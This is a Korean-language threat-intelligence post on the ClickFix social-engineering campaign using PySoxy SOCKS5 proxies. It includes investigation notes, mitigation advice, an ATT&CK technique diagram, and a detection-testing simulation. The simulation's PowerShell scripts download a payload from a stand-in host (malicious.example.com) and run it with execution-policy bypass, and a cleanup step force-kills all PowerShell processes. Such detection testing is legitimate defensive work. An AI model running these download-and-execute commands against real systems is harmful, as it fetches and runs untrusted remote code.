SOC Prime Bias: Critical

14 May 2026 12:37 UTC

ClickFix, PySoxy 프록시로 진화하다

Author Photo
SOC Prime Team linkedin icon 팔로우
ClickFix, PySoxy 프록시로 진화하다
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

ClickFix는 이제 암호화된 2차 접근 경로를 생성하기 위해 오픈 소스 PySoxy SOCKS5 프록시와 결합된 소셜 엔지니어링 기반의 전달 기술입니다. 침입은 사용자가 악성 PowerShell 명령을 실행하여 예약 작업 영속성을 설정하고 메모리 내 PowerShell 명령 및 제어 세션을 실행할 때 시작됩니다. 초기 정찰 후 공격자는 PySoxy를 다운로드하여 실행하여 환경에 대한 두 번째 암호화 경로를 설정합니다. 이러한 해석기 기반 도구의 모듈식 사용은 탐지 및 사고 격리가 더욱 어렵게 만듭니다.

조사

ReliaQuest는 단일 사용자 중심의 ClickFix 명령을 관찰하여 난독화된 PowerShell 스테이저를 실행하고, 예약된 작업을 생성하며, 도메인 정찰을 수행하고, 나중에 b64.pyc라는 컴파일된 파이썬 바이트코드 파일을 python.exe로 다운로드하여 실행하였습니다. PowerShell 구성 요소는 가벼운 RAT로 작동하여 3초마다 명령 및 제어 서버를 폴링했습니다. 연구자들은 또한 공격자가 동일한 준비 서버에서 PySoxy 페이로드를 업로드하고 가져오는 데 curl 을(를) 사용하는 것을 보았습니다.

완화

수비수는 explorer.exe에서 시작된 의심스러운 PowerShell 실행을 탐지하고 차단하며, 숨겨진 PowerShell 명령을 실행하는 예약 작업을 모니터링하고, -ssl, -remote_ip와 같은 프록시 관련 인수를 사용한 파이썬 실행을 검색해야 합니다. -remote_port를 포함한 식별된 도메인과 IP 주소로의 아웃바운드 트래픽을 검사하고 계속 유지되는 PowerShell 스크립트나 .pyc 파일 및 ProgramData.

에서 발견되는 파일들을 제거하십시오.

관련 지표가 발견되면 영향을 받은 호스트를 즉시 격리하고, 손상된 사용자 계정을 비활성화하며, 악성 예약 작업을 제거하고, PowerShell 스크립트와 PySoxy 아티팩트를 삭제하고, 추가 잔여물이 있는지 시스템을 스캔하십시오. 방어자는 또한 식별된 인프라로의 아웃바운드 트래픽이 차단되었는지 확인하고 다른 영속성 메커니즘이 활성화되지 않았는지 확인해야 합니다.

"graph TB %% Class definitions classDef technique fill:#cce5ff %% Node definitions tech_content_injection["<b>기술</b> – <b>T1659 콘텐츠 인젝션</b><br/><b>설명</b>: 적은 합법적인 파일이나 데이터 스트림에 악성 콘텐츠를 주입하여 추가 악성 작업을 수행할 수 있습니다."] class tech_content_injection technique tech_user_exec_malicious_link["<b>기술</b> – <b>T1204.001 사용자 실행: 악성 링크</b><br/><b>설명</b>: 피해자가 제작된 링크를 클릭하여 악성 코드를 실행합니다."] class tech_user_exec_malicious_link technique tech_user_exec_psh_stager["<b>기술</b> – <b>T1204 사용자 실행 (PowerShell 스테이저)</b><br/><b>설명</b>: 사용자가 추가 페이로드를 준비하는 PowerShell 명령을 실행합니다."] class tech_user_exec_psh_stager technique tech_obf_embedded_payloads["<b>기술</b> – <b>T1027.009 난독화된 파일 또는 정보: 임베디드 페이로드</b><br/><b>설명</b>: 페이로드가 탐지를 회피하기 위해 다른 파일 내에 숨겨지거나 암호화됩니다."] class tech_obf_embedded_payloads technique tech_reflective_loading["<b>기술</b> – <b>T1620 반사 코드 로딩</b><br/><b>설명</b>: 반사 기술을 사용하여 악성 코드가 직접 메모리에 로드됩니다."] class tech_reflective_loading technique tech_scheduled_task["<b>기술</b> – <b>T1053 예약 작업/작업</b><br/><b>설명</b>: 악성 코드 실행을 위해 예약된 작업 또는 작업이 생성됩니다."] class tech_scheduled_task technique tech_user_exec_psh_rat["<b>기술</b> – <b>T1204 사용자 실행 (메모리 내 PowerShell RAT)</b><br/><b>설명</b>: 사용자가 실수로 메모리 내 PowerShell 기반 원격 액세스 도구를 실행합니다."] class tech_user_exec_psh_rat technique tech_permission_groups["<b>기술</b> – <b>T1069 권한 그룹 탐색</b><br/><b>설명</b>: 적이 시스템에서 권한 그룹과 멤버십을 열거합니다."] class tech_permission_groups technique tech_lateral_tool_transfer["<b>기술</b> – <b>T1570 측면 도구 전송</b><br/><b>설명</b>: 도구나 파일이 curl 업로드와 같은 측면으로 다른 호스트로 전송됩니다."] class tech_lateral_tool_transfer technique tech_multistage_channels["<b>기술</b> – <b>T1104 다단계 채널</b><br/><b>설명</b>: PySoxy와 같은 추가 페이로드를 다운로드하기 위한 추가 통신 채널이 설정됩니다."] class tech_multistage_channels technique tech_proxy["<b>기술</b> – <b>T1090 프록시</b><br/><b>설명</b>: 트래픽이 원본을 숨기기 위해 프록시 서버를 통해 릴레이됩니다."] class tech_proxy technique tech_proxy_external["<b>기술</b> – <b>T1090.002 프록시: 외부 프록시</b><br/><b>설명</b>: 명령 및 제어 트래픽을 추가로 숨기기 위해 외부 프록시 서비스가 사용됩니다."] class tech_proxy_external technique tech_exfil_alt_proto["<b>기술</b> – <b>T1048 대체 프로토콜을 통한 정보 유출</b><br/><b>설명</b>: 일반적으로 데이터 전송과 관련이 없는 프로토콜을 사용하여 데이터가 유출됩니다."] class tech_exfil_alt_proto technique %% Connections showing attack flow tech_content_injection –>|leads_to| tech_user_exec_malicious_link tech_user_exec_malicious_link –>|leads_to| tech_user_exec_psh_stager tech_user_exec_psh_stager –>|leads_to| tech_obf_embedded_payloads tech_obf_embedded_payloads –>|leads_to| tech_reflective_loading tech_user_exec_psh_stager –>|enables| tech_scheduled_task tech_scheduled_task –>|leads_to| tech_user_exec_psh_rat tech_user_exec_psh_rat –>|leads_to| tech_permission_groups tech_permission_groups –>|leads_to| tech_lateral_tool_transfer tech_lateral_tool_transfer –>|leads_to| tech_multistage_channels tech_multistage_channels –>|leads_to| tech_proxy tech_proxy –>|leads_to| tech_proxy_external tech_proxy_external –>|leads_to| tech_exfil_alt_proto "

공격 흐름

시뮬레이션 실행

전제 조건: 텔레메트리 및 기준선 사전 비행 검사가 통과되어야 합니다.

근거: 이 섹션은 탐지 규칙을 트리거하기 위한 적 기법 (TTP)의 정확한 실행을 상세히 설명합니다. 명령과 서술은 식별된 TTP를 직접 반영해야 하며 탐지 논리에 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다.

  • 공격 서사 및 명령:

    1. 목표: 원거리 서버에서 악성 페이로드를 다운로드하고 이를 은밀하게 실행하는 PowerShell 기반 C2 채널 (ClickFix)을 설정합니다.
    2. 방법: 공격자는 powershell.exe 와 규칙이 감시하는 정확한 플래그를 설정하여 (-NoProfile and -ExecutionPolicy Bypass), Invoke-WebRequest 를 사용하여 페이로드를 가져옵니다.
    3. 왜 이 방법을 사용하는가: 기본 Windows PowerShell과 일반적인 Invoke-WebRequest cmdlet을 사용함으로써, 적은 타사 도구를 다운로드하지 않아 AV 탐지 가능성을 줄임과 동시에 규칙에 포착된 알려진 ClickFix 행동에 맞춥니다.
    # 단계 1: 악성 스크립트 다운로드 (무해한 테스트 파일로 시뮬레이션)
    $url = "http://malicious.example.com/payload.ps1"
    $out = "$env:TEMPpayload.ps1"
    Invoke-WebRequest -Uri $url -OutFile $out
    
    # 단계 2: 규칙이 감시하는 동일한 실행 파라미터로 다운로드한 스크립트 실행
    powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out
  • 회귀 테스트 스크립트:

    # ==============================================
    # ClickFix PowerShell C2 시뮬레이션 (TC-20260514-3G7ZK)
    # ==============================================
    
    # 변수 정의
    $url = "http://malicious.example.com/payload.ps1"
    $out = "$env:TEMPpayload.ps1"
    
    # 1. 더미 페이로드 다운로드 (C2 가져오기로 작동)
    Write-Host "[*] 페이로드 다운로드 중..."
    try {
        Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing
    } catch {
        Write-Error "다운로드 실패: $_"
        exit 1
    }
    
    # 2. 규칙이 모니터하는 정확한 플래그로 페이로드 실행
    Write-Host "[*] 페이로드를 -NoProfile -ExecutionPolicy Bypass로 실행 중"
    powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out
    
    Write-Host "[+] 시뮬레이션 완료."
    # ==============================================
  • 정리 명령:

    # 임시 페이로드 파일 제거
    if (Test-Path $out) {
        Remove-Item -Path $out -Force
        Write-Host "[*] 페이로드 파일 제거됨."
    }
    
    # 테스트에 의해 시작된 남아있는 PowerShell 프로세스를 선택적으로 중지
    Get-Process -Name "powershell" | Where-Object {$_.Path -like "*powershell.exe"} | Stop-Process -Force
    Write-Host "[*] 정리 완료."